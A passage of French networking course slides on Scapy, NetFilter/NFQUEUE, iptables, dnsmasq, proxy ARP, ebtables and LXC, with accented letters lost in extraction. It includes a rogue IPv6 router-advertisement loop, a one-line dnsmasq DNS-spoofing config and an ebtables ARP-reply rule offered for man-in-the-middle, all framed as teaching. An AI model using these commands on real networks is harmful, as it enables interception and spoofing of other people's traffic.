des postes connects dans le lien local (ventuellement, on peut se mettre en lieu et place de ce routeur. . . ) :
1

sendp(Ether()/IPv6()/ICMPv6ND_RA()/

ICMPv6NDOptPrefixInfo(prefix="2001:db8:cafe:deca::", prefixlen=64)

/ICMPv6NDOptSrcLLAddr(lladdr="00:b0:b0:67:89:AB"), loop=1, inter=3)

Les fourberies de Scapy

Cela fonctionne avec des machines de type Ubuntu ou de type Windows 7 :

Les deux machines ont accept le prfixe diffus par Scapy.

19 Scapy & NetFilter

66

Scapy est formidable


Scapy est un outil :
crit en Python ;
danalyse et de construction de paquet qui est efficace pour :
 la cration dun stimulus et la rcupration de la rponse ;
 lenvoi de paquets forgs crs la main avec passion ;
 sniffer un rseau et ragir la dcouverte dun paquet.
Mais
Il est nest pas adapt au traitement dun flux rapide de paquets, comme celui passant travers un routeur
ou un pont.
Utilisation de NetFilter
Il est possible de laider avec Netfilter :
? NetFilter analyse le flux et slectionne les paquets traiter parmi le flux ;

Les fourberies de Scapy

? NetFilter envoie ces paquets Scapy ;


? Scapy prend en charge ses paquets :
 pour faire une analyse ;
 pour gnrer une rponse ;
? NetFilter traite les paquets rponses donns par Scapy et les renvoie vers le rseau.

Scapy & NetFilter

67

Le but
Insrer lhte o tourne Scapy sur le chemin de la communication entre la machine cible et le
reste du rseau.
Avertissement

Ce travail est but pdagogique et ne saurait tre utilis sur de vraies communications
entre des personnes existantes ou ayant existes, voire mme carrment insouciantes .
Il est bon de rappeler, galement, quaucun paquet na t bless, ni tu mais que certains
ont pu tre, la rigueur, perdus.

Plus srieusement

Les fourberies de Scapy

Vous ntes pas autoriss intercepter les communications dun tiers.

Scapy & NetFilter

68

Combiner rgles de firewall et NetFilter


Si on travaille sur la machine qui sert de routeur :
REDIRECT : permet de rediriger le paquet en rcrivant sa destination vers le routeur lui-mme. Cela permet de faire
des proxy transparents pour des services hbergs sur le routeur lui-mme
 nest valide que pour la table nat et les chanes PREROUTING et OUTPUT
 -to-ports : permet dindiquer le port de destination employer
# iptables -t nat -A PREROUTING -s 192.168.0.0 -d 164.81.1.45 -p tcp -dport 80 -j REDIRECT -to-ports 80

Il est possible dintercepter des communications et de les rediriger vers le routeur lui-mme o elles pourront tre
adapte aux besoins de lutilisateur expert. . .

DNAT : permet de faire de la traduction dadresse uniquement sur ladresse de destination, pour par exemple faire du

Les fourberies de Scapy

port forwarding :
 nest valable que pour la table nat et les chanes PREROUTING et OUTPUT ;
 -to-destination : permet dindiquer par quelle adresse IP il faut remplacer ladresse de destination ;
1
# iptables -t nat -A PREROUTING -p tcp -d 15.45.23.67 -dport 80 -j DNAT
-to-destination 192.168.1.1-192.168.1.10
2
# iptables -A FORWARD -p tcp -i eth0 -d 192.168.1.0/24 -dport 80 -j ACCEPT
Dans la ligne 1, la possibilit de donner une plage dadresse permet de laisser le firewall choisir une adresse au
hasard et faire ainsi une sorte dquilibre de charge.
La ligne 2 est ncessaire dans le cas o le firewall filtrerait tout et doit sappliquer sur les paquets aux adresses
rcrites.
Il est possible de rediriger le trafic vers la machine faisant tourner Scapy.

Scapy & NetFilter

69

REJECT : rejette le paquet comme DROP mais renvoi une erreur avec un paquet ICMP
 -reject-with : avec une valeur parmi :
? icmp-net-unreachable
? icmp-proto-unreachable ? icmp-admin-prohibited
? icmp-host-unreachable
? icmp-net-prohibited
? tcp-reset
? icmp-port-unreachable
? icmp-host-prohibited
TTL : permet de modifier la valeur du champ de TTL :
 -ttl-set : positionne la valeur ;
 -ttl-dec et ttl-inc : incrmente la valeur du TTL.
1

iptables -t mangle -A PREROUTING -i eth0 -j TTL -ttl-inc 1

Ici, on annule le passage dans le routeur en r-incrmentant le TTL la sortie du paquet.


XOR : ralise un XOR du contenu TCP et UDP pour le dissimuler lanalyse
 -key : donne la chane utiliser ;
 -block-size : dfinie la taille du block
LOG : permet dobtenir une information sur les paquets.
1

iptables -t nat -I PREROUTING -p tcp -destination-port 80 -j LOG

Cette information peut tre consulte laide de la commande demsg :


Les fourberies de Scapy

[34985.564466] IN=eth0 OUT= MAC=00:0c:29:9d:ea:19:00:0c:29:22:ca:2f:08:00 SRC=192.168.127.128 DST=164.81.1.9


LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=28737 DF PROTO=TCP SPT=37925 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0

 -log-prefix : permet dajouter un prfixe pour faciliter la recherche (avec la commande grep par
exemple)
1

# iptables -A INPUT -p tcp -j LOG -log-prefix "INPUT packets"

NFQueue : Combiner NetFilter et Scapy : aller plus loin


Il est possible daller plus loin et de permettre Scapy de recevoir lintgralit du paquet reu par le Firewall :
? on utilise le firewall pour rediriger les paquets slectionns :
$ sudo iptables -t filter -i bridge_dmz -A FORWARD -p tcp -sport 5001 -j NFQUEUE -queue-num 0

Les fourberies de Scapy

? Rcuprer le paquet dans Scapy et decider de son destin (set_verdict) :


1

#!/usr/bin/python

3
4

import nfqueue, socket


from scapy.all import *

6
7
8
9
10
11
12
13
14

def traite_paquet(dummy, payload):


data = payload.get_data()
pkt = IP(data) # le paquet est fourni sous forme dune squence doctet, il faut limporter
# accepte le paquet : le paquet est remis dans la pile TCP/IP et poursuit sa route
#payload.set_verdict(nfqueue.NF_ACCEPT)
# si modifie : le paquet est remis MODIFIE dans la pile TCP/IP et poursuit sa route
#payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
# si rejete : le paquet est rejet
#payload.set_verdict(nfqueue.NF_DROP)

16
17
18
19
20
21

q = nfqueue.queue()
q.open()
q.unbind(socket.AF_INET)
q.bind(socket.AF_INET)
q.set_callback(traite_paquet)
q.create_queue(0)

23
24
25
26

try:
q.try_run()
except KeyboardInterrupt, e:
print "interruption"

28
29

q.unbind(socket.AF_INET)
q.close()

70

NFQueue : contrle du dbit dune connexion TCP par la taille de la fentre

71

En utilisant la rgle suivante :


sudo iptables -t filter -i bridge_dmz -A FORWARD -p tcp -sport 5001 -j NFQUEUE -queue-num 0

On fait passer travers NFQUEUE les segments TCP en provenance de loutil iperf (outil permettant dvaluer
le dbit dune connexion TCP).
Avec Scapy, on modifie la taille des paquets lintrieur des segments pour la rendre infrieure une taille
choisie (note ici throughput ou dbit).
1

if pkt[TCP].window > throughput :

pkt[TCP].window = throughput

del pkt[TCP].chksum

payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))

Ce qui donne pour une valeur de throughput = 250 :


pef@solaris:~$ sudo iptables -nvL
Chain FORWARD (policy ACCEPT 17320 packets, 815K bytes)
pkts bytes target

prot opt in

304K

tcp

16M NFQUEUE

out

source

bridge_dmz *

0.0.0.0/0

destination
0.0.0.0/0

root@INTERNAL_HOSTA:~/RESEAUX_I/FIREWALL# iperf -c 137.204.212.208

Les fourberies de Scapy

Client connecting to 137.204.212.208, TCP port 5001


TCP window size: 16.0 KByte (default)

3] local 137.204.212.11 port 45352 connected with 137.204.212.208 port 5001

[ ID] Interval

Transfer

Bandwidth

1.50 MBytes

1.20 Mbits/sec

3]

0.0-10.5 sec

tcp spt:5001 NFQUEUE num 0

NFQueue : contrle du dbit dune connexion TCP par la taille de la fentre


Pour une valeur de throughput = 1 000 :
root@INTERNAL_HOSTA:~/RESEAUX_I/FIREWALL# iperf -c 137.204.212.208

Client connecting to 137.204.212.208, TCP port 5001


TCP window size: 16.0 KByte (default)

3] local 137.204.212.11 port 45349 connected with 137.204.212.208 port 5001

[ ID] Interval

Transfer

Bandwidth

5.62 MBytes

4.65 Mbits/sec

3]

0.0-10.1 sec

Pour une valeur de throughput = 5 000 :


root@INTERNAL_HOSTA:~/RESEAUX_I/FIREWALL# iperf -c 137.204.212.208

Client connecting to 137.204.212.208, TCP port 5001


TCP window size: 16.0 KByte (default)

3] local 137.204.212.11 port 45348 connected with 137.204.212.208 port 5001

[ ID] Interval

Transfer

Bandwidth

16.2 MBytes

13.6 Mbits/sec

3]

0.0-10.0 sec

Pour une valeur de throughput = 50 000 :


root@INTERNAL_HOSTA:~/RESEAUX_I/FIREWALL# iperf -c 137.204.212.208

Les fourberies de Scapy

Client connecting to 137.204.212.208, TCP port 5001


TCP window size: 16.0 KByte (default)

3] local 137.204.212.11 port 45347 connected with 137.204.212.208 port 5001

[ ID] Interval

Transfer

Bandwidth

16.5 MBytes

13.8 Mbits/sec

3]

0.0-10.0 sec

72

20 Utilisation de dnsmasq

73

Dnsmasq est un serveur lger fournissant :


? un service de DHCP, o il est possible de :
 configurer les options du DHCP connues dans la RFC 2132 ou dautres (si elles sont
reconnues par le client) ;
 dtiqueter des machines suivant leur @MAC ou leur adresse IP prte pour ensuite
leur fournir des options choisies ;

Les fourberies de Scapy

? un service de DNS forwarder : il permet de fournir un service DNS sur un routeur permettant laccs Internet des postes depuis un rseau priv en ralisant du NAT :
 il sert de serveur DNS, il fournit les entres DNS :
? qui lui sont fournies dans son fichier de configuration ;
? qui sont prsentes dans le fichier /etc/hosts de la machine hte ;
? qui sont associes aux adresses IP quil a fourni au travers du DHCP ;
 quil a mmoris sur la machine hte, que ce soit des adresses symboliques (enregistrements A ou AAAA) ou des adresses inverses (enregistrement PTR).
fonctionnement de cache pour rduire le trafic en sortie ;
 qui sont associes au serveur de courrier du domaine (enregistrement MX) ;
 qui sont associes au services prsents dans le rseau (enregistrement SRV).
? un serveur TFTP, Trivial File Transfer Protocol , RFC 1350, 2347, 2348.

Utilisation de dnsmasq
Configuration

Les fourberies de Scapy

La configuration est ralise dans le fichier /etc/dnsmasq.conf :


1

expand-hosts

domain=test.net

dhcp-range=192.168.1.100,192.168.1.150,168h

dhcp-host=11:22:33:44:55:66,12:34:56:78:90:12,192.168.0.60

dhcp-host=11:22:33:44:55:66,set:red

dhcp-option = tag:red, option:ntp-server, 192.168.1.1

srv-host=_ldap._tcp.example.com,ldapserver.example.com,389

addn-hosts=/etc/banner_add_hosts

Description :
1. permet dtendre les noms de machines avec le nom de domaine indiqu ;
2. indique le nom de domaine ;
3. dfinit la plage dadresses fournies par le DHCP ainsi que le temps dassociation, ici 168h ;
4. associe une adresse donne une adresse MAC donne ;
5. tiquette une machine par son adresse MAC ;
6. dfinie une option fournir aux machines suivant une tiquette ;
7. dfinie un champ SRV ;
8. ajoute un fichier consulter pour de nouvelles associations @symbolique, @IP.
Le plus court fichier de config pour faire du spoofing
1

address=/www.google.nz/164.81.1.4

74

21 Le proxy ARP

75

Il correspond la possibilit dun hte, le plus souvent un routeur, de rpondre avec sa propre @MAC une requte
ARP destine un autre hte (RFC 925, 1027).
Il permet depuis un routeur de :
simuler la connexion directe dun hte, connect par une liaison point--point au routeur (dialup ou VPN) ;
relier deux segments de rseaux locaux o les machines connectes auront limpression dappartenir un mme et
seul rseau local.
Exemple dutilisation : cration dune DMZ
Soit le rseau 192.168.10.0/24, o lon voudrait crer une DMZ, mais sans faire de subnetting :
 le serveur placer dans la DMZ est ladresse 192.168.10.1 ;
 les machines peuvent utiliser les adresses restantes ;
 un routeur GNU/Linux est insr entre le serveur et le reste du rseau.
Activation sur le routeur
Pour lactiver, il faut configurer une option du noyau GNU/Linux, en plus de la fonction de routage :
$ sudo sysctl -w net.ipv4.conf.all.forwarding=1
$ sudo sysctl -w net.ipv4.conf.eth0.proxy_arp=1
$ sudo sysctl -w net.ipv4.conf.eth1.proxy_arp=1

Il faudra lactiver sur linterface choisie, ici, eth0 et eth1.

Les fourberies de Scapy

Configuration du routeur

 ses interfaces relis au serveur et au reste du rseau sont configures de la mme faon (@IP et prfixe) :
 on configure les routes, une vers la partie rseau machine et lautre vers le serveur :
# ip route add 192.168.10.1 dev eth1

192.168.10.1 dev eth1

# ip route add 192.168.10.0/24 dev eth0

192.168.10.0/24 dev eth0

On peut vrifier les caches arp des machines.

scope link
scope link

22 Utilisation debtables

76

faire de la traduction dadresse, NAT , sur les adresses MAC, seulement pour des adresses qui existent sur des
interfaces diffrentes (si la trame est rcrite avec une adresse MAC destination qui est sur linterface do elle est
venue intialement, elle ne sera pas retransmise) :
# ebtables -t nat -A PREROUTING -d 00:11:22:33:44:55 -i eth0 -j DNAT
-to-destination 54:44:33:22:11:00

Ici, on utilise la table nat pour rcrire des adresses MAC dans les trames au passage dans le pont.
# ebtables -t nat -A POSTROUTING -s 00:11:22:33:44:55 -i eth0 -j SNAT -to-source 54:44:33:22:11:00
-snat-target ACCEPT

Les fourberies de Scapy

Ici, on change ladresse MAC source.


rpondre automatiquement des requtes arp :
# ebtables -t nat -A PREROUTING -p arp -arp-opcode Request -arp-ip-dst 192.168.127.2
-j ARPREPLY -arpreply-mac de:ad:be:ef:ca:fe

Ici, on peut rpondre automatiquement une requte ARP, par exemple en donnant une adresse MAC diffrente pour
une adresse IP connue et faire du MiTM. . .

23 LXC et interfaces rseaux


Il existe diffrents types dinterface pour la configuration dun container Linux :
phys : donne au container le contrle direct dune interface physique de lhte ;
veth : cre un couple dinterface :
 une lintrieur du container (sur le
schma, lxcn0 ) ;
 une dans lhte (sur le schma, veth0 )
qui doit tre relie un bridge (sur le
schma, br0 ).
Linterface externe permet dcouter
ce qui transite sur linterface interne du
container.

macvlan : il en existe de deux sortes :


1. vepa, ou virtual ethernet port aggregator : per-

Les fourberies de Scapy

met au container laccs au rseau au travers dun bridge Linux mais qui ne permet pas
lchange entre les containers eux-mmes ;

77

LXC et interfaces rseaux

78

macvlan : il en existe de deux sortes :


2. bridge : permet au container laccs direct au rseau et la communication entre les
containers mais qui les isolent de lhte ;

Pour les performances


Si on veut privilgier :

la communication container host : utilisation de la configuration veth ;


la communication container rseau : utilisation de la configuration macvlan avec laide dun routeur externe
Les fourberies de Scapy

pour dialoguer depuis lhte vers le container.